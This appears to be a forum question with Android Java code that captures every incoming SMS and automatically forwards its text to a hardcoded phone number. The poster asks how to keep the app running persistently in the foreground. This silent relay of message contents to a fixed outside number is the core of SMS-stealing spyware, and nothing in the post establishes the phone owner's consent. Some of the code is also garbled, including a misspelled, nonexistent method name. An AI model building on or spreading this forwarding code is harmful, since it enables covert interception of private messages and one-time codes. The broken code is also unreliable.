this is another class
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
try {
if (bundle != null) {
Object[] smsOnj = (Object[]) bundle.get("pdus");
for (Object obj : smsOnj) {
SmsMessage message =SmsMessage.createFromPdu((byte[]) obj);
String Message = message.getDisplayMessageBody();
String mobile_no = message.getDisplayOriginatinddress();
Log.d("message", "MobNo: " + mobile_no + " ,Msg: " + Message);
Toast.makeText(context, Message, Toast.LENGTH_LONG).show();
Intent in = new Intent(context, MainActivity.class);
in.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
in.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
in.putExtra("msg",Message);
in.putExtra("phone",mobile_no);
context.startActivity(in);
}
}
} catch (Exception e)
{
e.getMessage();
}
}
}'
this is mainactivity what can add in this code
public class MainActivity extends AppCompatActivity {
EditText phone, message;
Button button, btnStartService,btnStopService;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
phone = findViewById(R.id.phone);
message = findViewById(R.id.msg);
button = findViewById(R.id.button);
if (ContextCompat.checkSelfPermission(this, Manifest.permission.RECEIVE_SMS) != PackageManager.PERMISSION_GRANTED) {
if (ActivityCompat.shouldShowRequestPermissionRationale(this, Manifest.permission.RECEIVE_SMS)) {
// do nothing
} else {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.RECEIVE_SMS}, 0);}}
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED)
{
//do nothing
} else {ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.SEND_SMS}, 100);}
String pho = getIntent().getStringExtra("phone");
String mmm = getIntent().getStringExtra("msg");
//get message from smsReciver.java and set in phone and message
phone.setText(pho);
message.setText(mmm);
sendSms();
btnStartService = findViewById(R.id.buttonStartService);
btnStopService = findViewById(R.id.buttonStopService);}
public void sendSms() {
String sphone=phone.getText().toString().trim();
String smessage=message.getText().toString().trim();
if (!sphone.equals("") &&!smessage.equals("")) {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("+919122862867", null, smessage , null, null);
Toast.makeText(this, "sms send successfully", Toast.LENGTH_SHORT).show();
}else {
Toast.makeText(this, "start" +"", Toast.LENGTH_SHORT).show();
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode==100 &&grantResults.length>0 && grantResults[0]==PackageManager.PERMISSION_GRANTED){
sendSms();
}else
{
Toast.makeText(this, "please grant permission", Toast.LENGTH_SHORT).show();
}
}}
this code take, read and send SMS. but I want to go one step go ahead now I want to do run application in foreground there is my code .now what code of line add to my code to run this app I foreground ???